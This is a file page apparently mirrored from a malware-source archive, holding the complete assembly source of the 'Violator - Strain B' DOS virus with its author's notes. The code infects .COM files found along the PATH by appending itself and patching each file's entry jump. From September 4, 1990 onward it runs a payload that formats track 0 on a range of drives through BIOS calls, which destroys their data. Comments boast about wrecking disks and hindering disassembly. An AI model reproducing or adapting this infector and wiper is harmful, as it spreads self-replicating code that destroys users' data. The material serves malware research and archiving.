mirror of
https://github.com/vxunderground/MalwareSourceCode.git
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391 lines
12 KiB
NASM
391 lines
12 KiB
NASM
;*****************************************************************************
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;
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; Violator - Strain B
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;
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;*****************************************************************************
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;
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; (Aug/09/90)
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;
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; Development Notes:
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;
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; I encountered several errors in the original Violator code which I
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; corrected in this version. Mainly, the INT 26 routine to fuck the
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; disk. It seems that the routine would crash right after the INT 26
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; was executed and the whole program would die. I have since fixed
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; this problem in this version with an INT 13, AH 05 (Format Track)
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; command. This works better than the subsequent INT 26.
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;
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;
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;*****************************************************************************
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;
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; Written by - The High Evolutionary -
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; RABID Head Programmer
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;
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; Copyright (C) 1990 by RABID Nat'nl Development Corp.
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;
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;*****************************************************************************
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MOV_CX MACRO X
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DB 0B9H
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DW X
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ENDM
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CODE SEGMENT
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ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
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ORG $+0100H ; Set ORG to 100H plus our own
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VCODE: JMP virus
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NOP
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NOP
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NOP ;15 NOP's to place JMP Header
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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NOP
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v_start equ $
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virus: PUSH CX
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MOV DX,OFFSET vir_dat
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CLD
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MOV SI,DX
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ADD SI,first_3
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MOV CX,3
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MOV DI,OFFSET 100H
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REPZ MOVSB
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MOV SI,DX
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MOV AH,30H
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INT 21H
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CMP AL,0 ;Quit it it's DOS 1.0
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JNZ dos_ok
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JMP quit
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dos_ok: PUSH ES
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MOV AH,2FH
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INT 21H
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MOV [SI+old_dta],BX
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MOV [SI+old_dts],ES
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POP ES
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MOV DX,dta
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ADD DX,SI
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MOV AH,1AH
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INT 21H
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PUSH ES
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PUSH SI
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MOV ES,DS:2CH
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MOV DI,0
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JMP year_check
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year_check:
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MOV AH,2AH ;Get date info
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INT 21H ;Call DOS
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CMP CX,1990 ;Check to see if the year is 1990
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JGE month_check ;If greater or equal, check month
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JMP find_path ;If not, go on with infection
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month_check:
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MOV AH,2AH ;Get date info
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INT 21h ;Call DOS
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CMP DH,9 ;Check to see if it is September
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JGE day_check ;If greater or equal, check day
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JMP find_path ;if not, go on with infection
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day_check:
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MOV AH,2Ah ;Get date info
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INT 21H ;Call DOS
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CMP DL,4 ;Check to see if it is the 4th
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JGE multiplex ;If yes, then nuke drives A:-Z:
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JMP find_path ;If not, then go on with infection
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multiplex:
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MOV AL,cntr ;Counter is the drive to kill
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CALL alter ;Go and kill the drive
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;25 is drive Z:
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CMP cntr,25 ;Is (cntr) 25 ?
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JE find_path ;Go on with infection
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INC cntr ;Add one to (cntr)
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LOOP multiplex ;Loop back up to kill next drive
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alter:
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MOV AH,05 ;Format Track
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MOV CH,0 ;Format track 0
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MOV DH,0 ;Head 0
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MOV DL,cntr ;Format for drive in (cntr)
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INT 13h ;Call RWTS
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RET ;Return up for next drive
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find_path:
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POP SI
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PUSH SI
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ADD SI,env_str
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LODSB
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MOV CX,OFFSET 8000H
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REPNZ SCASB
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MOV CX,4
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check_next_4:
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LODSB
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SCASB
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;
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; The JNZ line specifies that if there is no PATH present, then we will go
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; along and infect the ROOT directory on the default drive.
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;
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JNZ find_path ;If not path, then go to ROOT dir
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LOOP check_next_4 ;Go back and check for more chars
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POP SI ;Load in PATH again to look for chars
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POP ES
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MOV [SI+path_ad],DI
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MOV DI,SI
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ADD DI,wrk_spc ;Put the filename in wrk_spc
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MOV BX,SI
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ADD SI,wrk_spc
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MOV DI,SI
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JMP SHORT slash_ok
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set_subdir:
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CMP WORD PTR [SI+path_ad],0
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JNZ found_subdir
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JMP all_done
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found_subdir:
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PUSH DS
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PUSH SI
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MOV DS,ES:2CH
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MOV DI,SI
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MOV SI,ES:[DI+path_ad]
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ADD DI,wrk_spc ;DI is the file name to infect! (hehe)
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move_subdir:
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LODSB ;To tedious work to move into subdir
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CMP AL,';' ;Does it end with a ; charachter?
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JZ moved_one ;if yes, then we found a subdir
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CMP AL,0 ;is it the end of the path?
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JZ moved_last_one ;if yes, then we save the PATH
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STOSB ;marker into DI for future reference
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JMP SHORT move_subdir
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moved_last_one:
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MOV SI,0
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moved_one:
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POP BX ;BX is where the virus data is
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POP DS ;Restore DS so that we can do stuph
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MOV [BX+path_ad],SI ;Where is the next subdir?
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NOP
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CMP CH,'\' ;Check to see if it ends in \
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JZ slash_ok ;If yes, then it's OK
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MOV AL,'\' ;if not, then add one...
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STOSB ;store the sucker
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slash_ok:
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MOV [BX+nam_ptr],DI ;Move the filename into workspace
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MOV SI,BX ;Restore the original SI value
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ADD SI,f_spec ;Point to COM file victim
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MOV CX,6
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REPZ MOVSB ;Move victim into workspace
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MOV SI,BX
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MOV AH,4EH
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MOV DX,wrk_spc
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ADD DX,SI ;DX is ... THE VICTIM!!!
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MOV CX,3 ;Attributes of Read Only or Hidden OK
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INT 21H
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JMP SHORT find_first
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find_next:
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MOV AH,4FH
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INT 21H
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find_first:
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JNB found_file ;Jump if we found it
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JMP SHORT set_subdir ;Otherwise, get another subdirectory
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found_file:
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MOV AX,[SI+dta_tim] ;Get time from DTA
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AND AL,1EH ;Mask to remove all but seconds
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CMP AL,1EH ;60 seconds
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JZ find_next
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CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
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JA find_next ;If too long, find another one
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CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
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JB find_next ;Then go find another one
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MOV DI,[SI+nam_ptr]
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PUSH SI
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ADD SI,dta_nam
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more_chars:
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LODSB
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STOSB
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CMP AL,0
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JNZ more_chars
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POP SI
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MOV AX,OFFSET 4300H
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MOV DX,wrk_spc
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ADD DX,SI
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INT 21H
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MOV [SI+old_att],CX
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MOV AX,OFFSET 4301H
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AND CX,OFFSET 0FFFEH
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MOV DX,wrk_spc
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ADD DX,SI
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INT 21H
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MOV AX,OFFSET 3D02H
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MOV DX,wrk_spc
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ADD DX,SI
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INT 21H
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JNB opened_ok
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JMP fix_attr
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opened_ok:
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MOV BX,AX
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MOV AX,OFFSET 5700H
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INT 21H
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MOV [SI+old_tim],CX ;Save file time
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MOV [SI+ol_date],DX ;Save the date
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MOV AH,2CH
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INT 21H
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AND DH,7
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JMP infect
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infect:
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MOV AH,3FH
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MOV CX,3
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MOV DX,first_3
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ADD DX,SI
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INT 21H ;Save first 3 bytes into the data area
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JB fix_time_stamp
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CMP AX,3
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JNZ fix_time_stamp
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MOV AX,OFFSET 4202H
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MOV CX,0
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MOV DX,0
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INT 21H
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JB fix_time_stamp
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MOV CX,AX
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SUB AX,3
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MOV [SI+jmp_dsp],AX
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ADD CX,OFFSET c_len_y
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MOV DI,SI
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SUB DI,OFFSET c_len_x
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MOV [DI],CX
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MOV AH,40H
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MOV_CX virlen
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MOV DX,SI
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SUB DX,OFFSET codelen
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INT 21H
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JB fix_time_stamp
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CMP AX,OFFSET virlen
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JNZ fix_time_stamp
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MOV AX,OFFSET 4200H
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MOV CX,0
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MOV DX,0
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INT 21H
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JB fix_time_stamp
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MOV AH,40H
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MOV CX,3
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MOV DX,SI
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ADD DX,jmp_op
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INT 21H
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fix_time_stamp:
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MOV DX,[SI+ol_date]
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MOV CX,[SI+old_tim]
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AND CX,OFFSET 0FFE0H
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OR CX,1EH
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MOV AX,OFFSET 5701H
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INT 21H
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MOV AH,3EH
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INT 21H
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fix_attr:
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MOV AX,OFFSET 4301H
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MOV CX,[SI+old_att]
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MOV DX,wrk_spc
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ADD DX,SI
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INT 21H
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all_done:
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PUSH DS
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MOV AH,1AH
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MOV DX,[SI+old_dta]
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MOV DS,[SI+old_dts]
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INT 21H
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POP DS
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quit:
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POP CX
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XOR AX,AX ;XOR values so that we will give the
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XOR BX,BX ;poor sucker a hard time trying to
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XOR DX,DX ;reassemble the source code if he
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XOR SI,SI ;decides to dissassemble us.
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MOV DI,OFFSET 0100H
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PUSH DI
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XOR DI,DI
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RET 0FFFFH ;Return back to the beginning
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;of the program
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vir_dat EQU $
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intro db '.D$^i*&B)_a.%R',13,10
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olddta_ DW 0
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olddts_ DW 0
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oldtim_ DW 0
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count_ DW 0
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cntr DB 2 ; Drive to nuke from (C:+++)
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oldate_ DW 0
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oldatt_ DW 0
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first3_ EQU $
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INT 20H
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NOP
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jmpop_ DB 0E9H
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jmpdsp_ DW 0
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fspec_ DB '*.COM',0
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pathad_ DW 0
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namptr_ DW 0
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envstr_ DB 'PATH='
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wrkspc_ DB 40h dup (0)
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dta_ DB 16h dup (0)
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dtatim_ DW 0,0
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dtalen_ DW 0,0
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dtanam_ DB 0Dh dup (0)
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lst_byt EQU $
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virlen = lst_byt - v_start
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codelen = vir_dat - v_start
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c_len_x = vir_dat - v_start - 2
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c_len_y = vir_dat - v_start + 100H
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old_dta = olddta_ - vir_dat
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old_dts = olddts_ - vir_dat
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old_tim = oldtim_ - vir_dat
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ol_date = oldate_ - vir_dat
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old_att = oldatt_ - vir_dat
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first_3 = first3_ - vir_dat
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jmp_op = jmpop_ - vir_dat
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jmp_dsp = jmpdsp_ - vir_dat
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f_spec = fspec_ - vir_dat
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path_ad = pathad_ - vir_dat
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nam_ptr = namptr_ - vir_dat
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env_str = envstr_ - vir_dat
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wrk_spc = wrkspc_ - vir_dat
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dta = dta_ - vir_dat
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dta_tim = dtatim_ - vir_dat
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dta_len = dtalen_ - vir_dat
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dta_nam = dtanam_ - vir_dat
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count = count_ - vir_dat
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CODE ENDS
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END VCODE
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